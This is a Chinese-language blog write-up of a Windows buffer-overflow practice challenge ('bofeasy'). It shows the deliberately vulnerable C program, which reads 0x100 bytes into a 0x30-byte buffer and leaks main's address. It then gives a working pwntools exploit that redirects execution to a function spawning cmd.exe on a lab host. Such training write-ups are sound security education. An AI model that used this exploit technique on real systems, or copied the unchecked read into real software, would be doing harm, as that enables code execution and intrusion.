AngelBoy Windows Binary Exploitation bofeasy Writeup

kazma 成大資安社 創辦人/社長

Intro

這題是要練習 windows 的 bof,結果意外的因為沒有提供 lab 又練習到 AppJailLauncher.exe 的使用 XD

Exploitaion

我們先看這題的程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//g++ -g -o bofeasy.exe bofeasy.cpp
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <windows.h>
#include <io.h>

void l33t() {
puts("Congrat !");
WinExec("cmd.exe", 0);
}

int main() {
srand((unsigned int)time(NULL));
if ((rand() & 0xffff) == 0xddaa) {
l33t();
}
char buf[0x30];
setvbuf(stdout, NULL, _IONBF, 0);
printf("main: %p\n", &main);
printf("Input: ");
_read(0, buf, 0x100);
return 0;
}

我們可以看到這題就是簡單的 bof,並且還會輸出 main 的地址讓我們可以透過 offset 得到穩定的 l33t 地址。
那首先要注意的是 windows 的換行是 “\r\n”,所以我們需要先調整 pwntools 的換行符號,否則輸出會不如預期,再來是我們一樣可以透過 cyclic 來協助我們找到 rip 的 offset,接著就跟 linux 差不多啦。
值得一題的是因為這邊會有對齊的問題,所以我們可以跳過 function prologue 來讓程式補回 X8 bytes 來對齊。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

r = remote("192.168.0.108", 56001)
context.arch = "amd64"

r.newline = b"\r\n"
r.recvuntil(b"main: ")

main = int(r.recvuntil(b"\n"), 16)
l33t = main - 0x36 + 0x4
p = b"a" * 56 + p64(l33t)

r.sendlineafter(b": ", p)
r.interactive()

執行結果:
BTW 這個 flag 是我亂生的,講師在影片裡沒有 leak flag。
pwn

  • Title: AngelBoy Windows Binary Exploitation bofeasy Writeup
  • Author: kazma
  • Created at : 2024-11-18 21:01:38
  • Updated at : 2024-11-19 01:47:35
  • Link: https://kazma.tw/2024/11/18/AngelBoy-Windows-Binary-Exploitation-bofeasy-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
AngelBoy Windows Binary Exploitation bofeasy Writeup